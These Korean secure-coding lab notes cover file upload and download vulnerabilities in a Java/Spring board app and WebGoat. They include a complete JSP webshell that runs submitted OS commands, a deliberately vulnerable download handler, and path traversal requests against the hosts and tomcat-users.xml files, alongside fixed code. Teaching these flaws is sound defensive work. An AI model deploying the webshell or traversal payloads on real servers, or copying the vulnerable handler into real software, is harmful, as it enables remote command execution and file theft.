<form>
태그와 <input>
태그 확인
<form ... method="post" enctype="multipart/form-data">
:
<input type="file" ...>
:
</form>
전송 패킷의 Content-Type
확인
POST /openeg/board/write.do HTTP/1.0
// 요청 본문의 인코딩 방식을 지정 (기본값: x-www-form-urlencoded)
Content-Type: multipart/form-data
// 요청 본문에 포함된 데이터의 크기
Content-Length: 22342
:
<form>
태그의 enctype 속성이란?
- 폼 데이터가 서버로 제출될 때 해당 데이터가 인코딩 되는 방법을 명시해주는 속성
- 폼 데이터에 파일 업로드가 포함되는 경우 사용
- method 속성값이 POST인 경우에만 사용 가능
- 요청 패킷에 Content-Type 확인
enctype 속성값 종류
- x-www-form-urlencoded
- enctype 속성의 기본값.
- 서버로 전달하는 값을 URL 인코딩 방식으로 인코딩해서 전송
name=hong&age=23&email=hong%40test.com
- multipart/form-data
- 폼 데이터를 멀티파트 형식으로 전송
- 모든 문자를 인코딩 X
- 파일이나 이미지 전송 시 사용
- text/plain
- 공백 문자만
+
기호로 변환하고 나머지 문자는 모두 인코딩하지 않고 전송
외부에서 직접 접근이 가능한 경로란?
Web Root Directory 아래에 위치한 파일웹 서버가 기준으로 정한 디렉터리 ⇒ Web Root Directory
외부에서 요청이 들어오면 Web Root Directory를 기준으로 한 상대 경로에 위치한 파일을 읽어서 또 실행해서 반환한다.httpL//www.test.com:80/path/subpath/file
만약 위와 같은 URL이 있다면
www.tesst.com
서버의 80 포트를 사용하는 프로그램이 기준으로 정한 디렉터리가 존재한다.
예를 들어/var/www/html
을 기준 디렉터리로 저장했다면 URL 상의 리소스는 해당 서버의/var/www/html/path/subpath/file
로 존재해/var/www/html/otherdir/otherfile
은http://www.test.com:80/otherdir/otherfile
로 접근이 가능해진다.
WebShell 파일이란?
- 일반적으로 Server Side Script 언어를 이용해서 하나의 파일로 구성된 프로그램
- Command Injection 공격을 효율적으로 할 수 있도록 만들어진 프로그램
외부에서 접근할 수 없는 경로란? Web Root Directory 밖
Kali Linux > openeg
openeg > 게시판 > 이미지가 포함된 게시글 작성
업로드한 파일이 외부에서 접근 가능한 경로에 원본 파일의 이름으로 저장되고 있다.
OS Command를 실행 시키는 파일 작성
// OSCommand.jsp
<%@ page import="java.io.*"%>
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
</head>
<body>
<form>
<textarea name="cmd" cols="100" rows="5"></textarea>
<br/>
<input type="submit" />
</form>
<pre>
<%
// cmd 요청 파라미터의 값을 추출
String cmd = request.getParameter("cmd");
// 값이 있는 경우
if (cmd != null && !"".equals(cmd)) {
Process ps = null;
InputStream is = null;
InputStreamReader isr = null;
BufferedReader br = null;
try {
// cmd 요청 파라미터의 값을 해당 서버의 쉘에서 실행 후 결과를 반환
ps = Runtime.getRuntime().exec(cmd);
is = ps.getInputStream();
isr = new InputStreamReader(is);
br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null) {
out.println(line);
}
} catch (Exception e) {
System.err.println(e);
} finally {
if (br != null) { br.close(); }
if (isr != null) { isr.close(); }
if (is != null) { is.close(); }
if (ps != null) { ps.destroy(); }
}
}
%>
</pre>
</body>
</html>
게시판에 OSCommand.jsp 파일 업로드
파일이 업로드된 경로로 이동하면 서버 쉘이 실행된 것을 확인할 수 있다.
// BoardController.java
// 게시판 글저장 처리
@RequestMapping(value = "/write.do", method = RequestMethod.POST)
public String boardWriteProc(@ModelAttribute("BoardModel") BoardModel boardModel, MultipartHttpServletRequest request, HttpSession session) {
// CSRF 방어
String stoken = (String)session.getAttribute("session_token");
String ptoken = request.getParameter("request_token");
if (ptoken == null || !ptoken.equals(stoken)) {
session.setAttribute("error_message", "잘못된 접근입니다.");
return "redirect:list.do";
}
// 업로드 파일을 저장할 경로를 설정
// 웹 루트 디렉터리의 서버 실제 경로 아래에 files 디렉터리를 만들고 그 아래에 파일을 저장
String uploadPath = session.getServletContext().getRealPath("/") + "files/";
File dir = new File(uploadPath);
if (!dir.exists()) {
dir.mkdir();
}
// 요청에서 file 이름의 파라미터를 가져와서 MultipartFile 인스턴스에 저장 ⇐ 파일에 대한 정보와 데이터가 저장
MultipartFile file = request.getFile("file");
// 첨부파일이 존재하는 경우 업로드 파일을 저장하는 경로 아래에 원본 파일명으로 저장
if (file != null && !"".equals(file.getOriginalFilename())) {
String fileName = file.getOriginalFilename();
File uploadFile = new File(uploadPath + fileName);
// 동일한 파일이 존재하는 경우 날짜시간을 파일명 앞에 추가해서 저장
if (uploadFile.exists()) {
fileName = new Date().getTime() + fileName;
uploadFile = new File(uploadPath + fileName);
}
try {
// 업로드 파일을 위에서 설정한 경로와 이름으로 저장
file.transferTo(uploadFile);
} catch (Exception e) {
System.out.println("upload error");
}
// DB에 파일명을 저장하기 위해서 설정
boardModel.setFileName(fileName);
}
// 게시판 내용에 개행문자를 <br/> 태그로 변경
String content = boardModel.getContent().replaceAll("\r\n", "<br />");
boardModel.setContent(content);
// DB 저장을 위해서 설정
service.writeArticle(boardModel); // DB에 설정된 데이터를 저장
return "redirect:list.do";
}
// BoardController.java
// 업로드 가능한 파일 확장자를 정의
private final String[] allowedFileExtention = { ".jpg", ".jpeg", ".png", ".jfif" };
// 게시판 글저장 처리
@RequestMapping(value = "/write.do", method = RequestMethod.POST)
public String boardWriteProc(@ModelAttribute("BoardModel") BoardModel boardModel, MultipartHttpServletRequest request, HttpSession session) {
// S: CSRF 방어
String stoken = (String)session.getAttribute("session_token");
String ptoken = request.getParameter("request_token");
if (ptoken == null || !ptoken.equals(stoken)) {
session.setAttribute("error_message", "잘못된 접근입니다.");
return "redirect:list.do";
}
// E: CSRF 방어
// #1 업로드 파일을 외부에서 접근할 수 없는 경로에 저장
// String uploadPath = session.getServletContext().getRealPath("/") + "files/";
String uploadPath = "c:/upload/files/";
File dir = new File(uploadPath);
if (!dir.exists()) {
dir.mkdir();
}
MultipartFile file = request.getFile("file");
if (file != null && !"".equals(file.getOriginalFilename())) {
// #2-1 확장자를 비교해서 이미지 파일만 업로드할 수 있도록 제한
// "jpg", "jpeg", "png", "jfif"
// 업로드 파일의 확장자를 추출
String[] temp = file.getOriginalFilename().split("\\.");
String extention = temp[temp.length-1];
// 확장자로 사용할 수 있는 목록에 업로드 파일의 확장자가 포함되어 있는지 확인
List<String> list = new ArrayList<>(Arrays.asList(allowedFileExtention));
if (!list.contains(extention)) {
session.setAttribute("error_message", "이미지 파일만 업로드 가능합니다.");
return "redirect:list.do";
}
// #2-2 업로드 파일의 크기가 2M 보다 큰 경우 오류 메시지와 함께 list 페이지로 리다이렉트
if (file.getSize() > 2097152) {
session.setAttribute("error_message", "2MB 이하의 크기만 첨부할 수 있습니다.");
return "redirect:list.do";
}
// #3 외부에서 알 수 없도록 저장 파일명을 다른게 설정
String savedFileName = UUID.randomUUID().toString();
String fileName = file.getOriginalFilename();
// File uploadFile = new File(uploadPath + fileName);
File uploadFile = new File(uploadPath + savedFileName);
/* 중복된 파일명이 생성되지 않으므로 주석 처리
if (uploadFile.exists()) {
fileName = new Date().getTime() + fileName;
uploadFile = new File(uploadPath + fileName);
}
*/
try {
file.transferTo(uploadFile);
} catch (Exception e) {
System.out.println("upload error");
}
// #4 파일 저장 시 사용한 파일명을 DB에 저장할 수 있도록 설정
boardModel.setSavedFileName(savedFileName);
boardModel.setFileName(fileName);
}
String content = boardModel.getContent().replaceAll("\r\n", "<br />");
boardModel.setContent(content);
service.writeArticle(boardModel);
return "redirect:list.do";
}
파일이 저장될 디렉토리 생성하기
OS Command 파일 업로드하기
파일 업로드 취약점을 보완하면 업로드 파일이 외부에서 접근할 수 없는 경로에 원본 파일명이 아닌 다른 이름으로 저장되기 때문에 URL 주소를 이용해서는 접근할 수 없음
∴ 다운로드 기능이 필요 = 접근할 수 없는 경로의 파일을 읽어서 응답으로 반환하는 기능
BoardController.java에 이미지 다운로드 기능 구현하기
// BoardController.java
@RequestMapping("/download.do")
public void download(HttpServletRequest request, HttpSession session, HttpServletResponse response) {
// 요청 파라미터로 전달된 게시판 ID를 추출한다.
int idx = Integer.parseInt(request.getParameter("idx"));
//저장된 파일이름(savedFileName)을 추출하기 위해 게시판 ID와 일치하는 게시판 정보를 조회한다.
BoardModel board = service.getOneArticle(idx);
if (board == null) {
return;
}
// 원본 파일명 추출한다.
String filename = board.getFileName();
//저장에 사용한 파일명을 추출한다.
String savedFileName = board.getSavedFileName();
// 파일의 저장 경로 + 저장 파일명 ==> 파일을 열고 읽을 수 있다.
String filePath = "c:/upload/files/" + savedFileName;
BufferedOutputStream out = null;
InputStream in = null;
try {
response.setContentType("image/jpeg");
response.setHeader("Content-Disposition", "inline;filename=" + filename);
File file = new File(filePath);
in = new FileInputStream(file);
out = new BufferedOutputStream(response.getOutputStream());
int len;
byte[] buf = new byte[1024];
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
} catch (Exception e) {
e.printStackTrace();
System.out.println("파일 전송 에러");
} finally {
if (out != null) {
try {
out.close();
} catch (Exception e) {
}
}
if (in != null) {
try {
in.close();
} catch (Exception e) {
}
}
}
}
첨부했던 파일을 URL을 통해서 호출X → 다운로드 기능을 이용해 다운로드 받도록 view.jsp 수정
// view.jsp
<c:if test="${board.fileName != null}">
<tr>
<td colspan="4" align="left">
첨부파일 :
<br /><a href="../files/${board.fileName}" target="_blank">${board.fileName}</a>
<br /><img src="../files/${board.fileName}" />
<hr/>
수정된 첨부파일 보기
<br /><a href="download.do?idx=${board.idx}" target="_blank">${board.fileName}</a>
<br /><img src="download.do?idx=${board.idx}" />
<br />
</td>
</tr>
</c:if>
view.jsp
<c:if test="${board.fileName != null}">
<tr>
<td colspan="4" align="left">
첨부파일 :
<br /><a href="../files/${board.fileName}" target="_blank">${board.fileName}</a>
<br /><img src="../files/${board.fileName}" />
<hr/>
수정된 첨부파일 보기
<br /><a href="download.do?idx=${board.idx}" target="_blank">${board.fileName}</a>
<br /><img src="download.do?idx=${board.idx}" />
<hr/>
안전하지 않은 방식으로 수정된 첨부파일 보기
<br /><a href="download2.do?file=${board.savedFileName}" target="_blank">${board.fileName}</a>
<br /><img src="download2.do?file=${board.savedFileName}" />
</td>
</tr>
</c:if>
BoardController.java
// 안전하지 않은 방법으로 이미지 다운로드 기능을 구현
@RequestMapping("/download2.do")
public void download2(HttpServletRequest request, HttpSession session, HttpServletResponse response) {
// 요청 파라미터로 전달된 저장 이미지 이름을 추출
String savedFileName = request.getParameter("file");
String filePath = "c:/upload/files/" + savedFileName;
BufferedOutputStream out = null;
InputStream in = null;
try {
response.setContentType("image/*");
response.setHeader("Content-Disposition", "inline; filename=" + savedFileName);
File file = new File(filePath);
in = new FileInputStream(file);
out = new BufferedOutputStream(response.getOutputStream());
int len;
byte[] buf = new byte[1024];
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
} catch (Exception e) {
e.printStackTrace();
System.out.println("파일 전송 에러");
} finally {
if (out != null) {
try {
out.close();
} catch (Exception e) {
}
}
if (in != null) {
try {
in.close();
} catch (Exception e) {
}
}
}
}
이미지 다운로드 경로를 아래와 같이 변경 후 브라우저를 통해서 요청 ⇒ 다운로드 받은 파일을 메모장으로 열어보면 해당 서버의 hosts 파일 내용이 제공
http://victim:8080/openeg/board/download2.do?file=../../../../../../../../Windows/System32/drivers/etc/hosts
다음은 파일 다운로드 코드의 일부이다.
String filePath = request.getParameter("file");
File file = new File(filePath);
// 예상 경로 ⇒ download.do?file=c:/upload/files/SAVEDFILENAME
위와 같이 작성 시 요청 파라미터를 통해서 서버 내부의 파일 저장 경로가 노출될 수 있다. 그러므로 파일이 저장된 경로를 외부에서 알 수 없도록 하게 위해서는 아래 코드처럼 외부에서는 파일명만 받아오고, 서버 내부에서 가지고 있는 저장 경로를 결합해서 파일을 오픈해야 한다.
String savedFileName = request.getParameter("file");
String filePath = "c:/upload/files/" + savedFileName
이 방식은 파일 저장 경로는 외부에 노출되지 않으나, 파일명에 경로 조작 문자열 포함 여부를 확인하지 않았기 때문에 원래 접근할 수 없는 (시스템) 경로의 파일을 다운로드 할 수 있는 문제가 발생할 수 있다.
외부 입력값을 서버 내부 파일을 참조하는데 사용하는 경우
∴ 파일 업로드 기능을 안전하게 구현하면 필연적으로 파일 다운로드 기능을 구현해야 하며, 파일 다운로드 기능을 구현할 때는 경로 조작 취약점이 발생하지 않도록 해야 한다.
WebGoat (id: webgoat / pw: webgoat) > Access Control Flaws > Bypass a Path Based Access Control Scheme
C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\conf\tomcat-users.xml
파일의 내용을 화면에 출력해보기
예상 요청 방식
POST attack?Scrren=51&menu=200 HTTP 1.1
File=AccessControlMatrix.html&SUBMIT=View+File
File 값으로 ..
와 /
를 사용이 가능한지 확인 후 경로 작성